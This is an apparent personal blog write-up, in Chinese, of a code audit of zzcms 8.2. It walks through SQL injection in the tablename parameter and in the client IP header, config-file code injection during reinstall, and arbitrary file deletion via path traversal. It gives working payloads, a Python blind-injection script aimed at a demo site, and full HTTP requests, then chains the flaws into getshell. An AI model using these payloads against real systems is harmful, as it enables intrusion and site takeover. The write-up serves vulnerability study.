还是太菜了,搭好的CMS注册用户时显示不出验证码,以至于无法注册,只复现出配置文件写入的问题.
就以此篇慢慢入手代码审计吧.
前端SQL注入 个人理解:分析是否存在注入,先从输入点找起,再寻找是否有对数据清洗的函数,再判断数据流向
tablename注入点 问题文件:user/del.php 从此处用post方法接受pagename,tablename,id三个参数.
1 2 3 4 5 6 7 8 9 10 $pagename=trim($_POST["pagename" ]); $tablename=trim($_POST["tablename" ]); $id="" ; if (!empty ($_POST['id' ])){ for ($i=0 ; $i<count($_POST['id' ]);$i++){ checkid($_POST['id' ][$i]); $id=$id.($_POST['id' ][$i].',' ); } $id=substr($id,0 ,strlen($id)-1 ); }
发现有个checkid()函数
1 2 3 4 5 6 7 8 9 function checkid ($id,$classid=0 ,$msg='' ) {if ($id<>'' ){ if (is_numeric($id)==false ){showmsg('参数 ' .$id.' 有误!相关信息不存在' );} elseif ($id>100000000 ){showmsg('参数超出了数字表示范围!系统不与处理。' );} if ($classid==0 ){ if ($id<1 ){showmsg('参数有误!相关信息不存在。\r\r提示:' .$msg);} } } }
id只能为数字,并且限制了数字的范围.因此id难以利用
那继续看看pagename,tablename
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 代码27 行开始,判断tablename的情况, switch ($tablename){case "zzcms_main" ;if (strpos($id,"," )>0 ){ $sql="select img,flv,editor from zzcms_main where id in (" .$id.")" ; }else { $sql="select img,flv,editor from zzcms_main where id ='$id'" ; } $rs=query($sql); $row=num_rows($rs); 代码92 行有传入tablename进行数据库操作 if ($tablename=='zzcms_guestbook' ){if (strpos($id,"," )>0 ){ $sql="select id,saver from " .$tablename." where id in (" .$id.")" ; }else { $sql="select id,saver from " .$tablename." where id ='$id'" ; } $rs=query($sql); $row=num_rows($rs); if ($row){while ($row=fetch_array($rs)){ if ($row["saver" ]<>$username){ markit(); showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!' ); } query("delete from " .$tablename." where id =" .$row['id' ]."" ); } echo "<script>location.href='" .$pagename."';</script>" ;} }
但是表名被固定zzcms_guestbook,继续往下看 代码135行,最后一个else 发现传入的tablename可控,且并没有对数据清洗,因此这里存在sql注入.
1 2 3 4 5 6 7 8 else {if (strpos($id,"," )>0 ){ $sql="select id,editor from " .$tablename." where id in (" . $id .")" ; }else { $sql="select id,editor from " .$tablename." where id ='$id'" ; } $rs=query($sql); $row=num_rows($rs);
其实该CMS有对sql作出防御因为注入的位置是表名,因此可以不需要引入符号进行闭合,所以就可以无视/inc/stopsqlin.php文件中的安全处理规则,所以此处可以直接进行SQL注入。 Payload
1 id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
由于环境问题,没法复现,图片是偷的 Stopsqlin.php的过滤函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function zc_check ($string) { if (!is_array($string)){ if (get_magic_quotes_gpc()){ return htmlspecialchars(trim($string)); }else { return addslashes(htmlspecialchars(trim($string))); } } foreach ($string as $k => $v) $string[$k] = zc_check($v); return $string; } if ($_REQUEST){ $_POST =zc_check($_POST); $_GET =zc_check($_GET); $_COOKIE =zc_check($_COOKIE); @extract($_POST); @extract($_GET); }
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport timepayloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' url = "http://demo.zzcms.net/user/del.php" user = '' for i in range(1 , 2 ): for payload in payloads: startTime = time.time() post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23" .encode("utf-8" ) response = requests.post(url, timeout=6 , data=post_data, headers={"Content-Type" : "application/x-www-form-urlencoded" } ) if time.time() - startTime > 5 : user = payload print 'user is:' , userbreak print '\n[Done] current user is %s' % user
ip注入点 问题文件 /user/logincheck.php ip利用自定义的getip()函数获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 include '../3/ucenter_api/config.inc.php' ;include '../3/ucenter_api/uc_client/client.php' ;$ip=getip(); define('trytimes' ,5 ); define('jgsj' ,10 *60 ); $sql="select * from zzcms_login_times where ip='$ip' and count>=" .trytimes." and unix_timestamp()-unix_timestamp(sendtime)<" .jgsj." " ; $rs = query($sql); $row= num_rows($rs); if ($row){$jgsj=jgsj/60 ; showmsg("密码错误次数过多,请于" .$jgsj."分钟后再试!" ); } checkyzm($_POST["yzm" ]); $go=0 ; $username=nostr(trim($_POST["username" ])); $password=md5(trim($_POST["password" ])); $fromurl=@$_POST["fromurl" ]; $CookieDate=@$_POST["CookieDate" ][0 ]; if ($CookieDate=="" ) {$CookieDate=0 ; }_
跟进getip()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 function getip () { if (getenv("HTTP_CLIENT_IP" ) && strcasecmp(getenv("HTTP_CLIENT_IP" ), "unknown" )) $ip = getenv("HTTP_CLIENT_IP" ); else if (getenv("HTTP_X_FORWARDED_FOR" ) && strcasecmp(getenv("HTTP_X_FORWARDED_FOR" ), "unknown" )) $ip = getenv("HTTP_X_FORWARDED_FOR" ); else if (getenv("REMOTE_ADDR" ) && strcasecmp(getenv("REMOTE_ADDR" ), "unknown" )) $ip = getenv("REMOTE_ADDR" ); else if (isset ($_SERVER['REMOTE_ADDR' ]) && $_SERVER['REMOTE_ADDR' ] && strcasecmp($_SERVER['REMOTE_ADDR' ], "unknown" )) $ip = $_SERVER['REMOTE_ADDR' ]; else $ip = "unknown" ; return ($ip); }
没有对ip进行数据清洗,因此此处存在注入,可利用时间盲注获取数据
payload
1 127.0.0.1’ and if(length(database())>1,sleep(4),0) %23
配置文件写入问题 install/step4.php 仅对传入的当前网站访问地址做是否为空判断 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if (document.myform.db_host.value=='' ){ alert('请填写数据库服务器' ); document.myform.db_host.focus(); return false ; } if (document.myform.db_user.value=='' ){ alert('请填写数据库用户名' ); document.myform.db_user.focus(); return false ; } if (document.myform.db_name.value=='' ){ alert('请填写数据库名' ); document.myform.db_name.focus(); return false ; } if (document.myform.db_name.value.search(re)==-1 ) { alert("数据库名只能用字母或数字!" ); document.myform.db_name.focus(); return false ; } if (document.myform.url.value=='' ){ alert('请填写当前网站访问地址' ); document.myform.url.focus(); return false ; } if (document.myform.admin.value=='' ){ alert('请填写管理员帐号' ); document.myform.admin.focus(); return false ; } if (document.myform.adminpwd.value=='' ){ alert('请填写管理员帐号' ); document.myform.adminpwd.focus(); return false ; } if (document.myform.adminpwd.value!=document.myform.adminpwd2.value){alert ("两次密码输入不一致,请重新输入。" ); document.myform.adminpwd.value='' ; document.myform.adminpwd2.value='' ; document.myform.adminpwd.focus(); return false ;}
install/index.php 保存配置文件.未对传入数据进行清洗 1 2 3 4 5 6 7 8 9 10 11 12 13 $fp="../inc/config.php" ; $f = fopen($fp,'r' ); $str = fread($f,filesize($fp)); fclose($f); $str=str_replace("define('sqlhost','" .sqlhost."')" ,"define('sqlhost','$db_host')" ,$str) ; $str=str_replace("define('sqlport','" .sqlport."')" ,"define('sqlport','$db_port')" ,$str) ; $str=str_replace("define('sqldb','" .sqldb."')" ,"define('sqldb','$db_name')" ,$str) ; $str=str_replace("define('sqluser','" .sqluser."')" ,"define('sqluser','$db_user')" ,$str) ; $str=str_replace("define('sqlpwd','" .sqlpwd."')" ,"define('sqlpwd','$db_pass')" ,$str) ; $str=str_replace("define('siteurl','" .siteurl."')" ,"define('siteurl','$url')" ,$str) ; $str=str_replace("define('logourl','" .logourl."')" ,"define('logourl','$url/image/logo.png')" ,$str) ; $f=fopen($fp,"w+" );
于是在构造payload填入当前网站访问地址 localhost’);phpinfo();# 语句闭合为
1 $str=str_replace("define('siteurl','" .siteurl."')" ,"define('siteurl','localhost’);phpinfo();#')" ,$str) ;
达到代码注入的目的,从而getshell.但是这个漏洞需要配合任意文件删除,删除install/install.lock文件,进行重装,否则这个漏洞无法利用 这个漏洞复现成功了.(可能真的是我丑,只复现出一个)
任意文件删除 这个点由于没有复现成功不是很理解,记录姿势以后再看看吧.
情况一:在action=add的情况下进行任意文件删除 首先进行如下请求在img参数位置填入要删除的文件路径,如根目录下的1.txt。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /user/zssave.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 289 Referer: http://127.0.0.1/user/zsadd.php Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd Connection: close Upgrade-Insecure-Requests: 1 proname=thinking&szm=&gnzz=thinking&sm=111111&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&cityforadd=&img=/1.txt&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF
然后进行如下请求,删除上面操作生成的那篇招商咨询,然后就会连1.txt一并删除。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /user/del.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 97 Referer: http://127.0.0.1/user/zsmanage.php Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd Connection: close Upgrade-Insecure-Requests: 1 id%5B%5D=16&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zsmanage.php%3Fpage%3D1&tablename=zzcms_main
情况二:在action=modify的情况下进行任意文件删除 进行如下请求在oldimg参数的位置构造要删除的目标文件,如根目录下的1.txt,所以可以使用../1.txt进行目录跳转后删除目标文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /user/zssave.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 290 Referer: http://127.0.0.1/user/zsmodify.php?id=15&page=1 Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd Connection: close Upgrade-Insecure-Requests: 1 proname=11&szm=&gnzz=22&sm=33&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&oldimg=../1.txt&img=%2Fimage%2Fnopic.gif&oldflv=&flv=&zc=&yq=&cpid=15&action=modify&page=1&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C%0D%0A
配合上sql注入进入后台,利用任意文件删除使cms重装,在配置文件上注入一句话,就可以getshell
参考链接 http://www.freebuf.com/column/166525.html
http://www.freebuf.com/column/165934.html
http://www.freebuf.com/column/166525.html
https://blog.csdn.net/CSDNPM250/article/details/81414162 http://www.freebuf.com/vuls/161888.html
Author:
zhhhy
Permalink:
http://yoursite.com/2018/09/27/zzcms8-2/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Solgan:
Do you believe in DESTINY?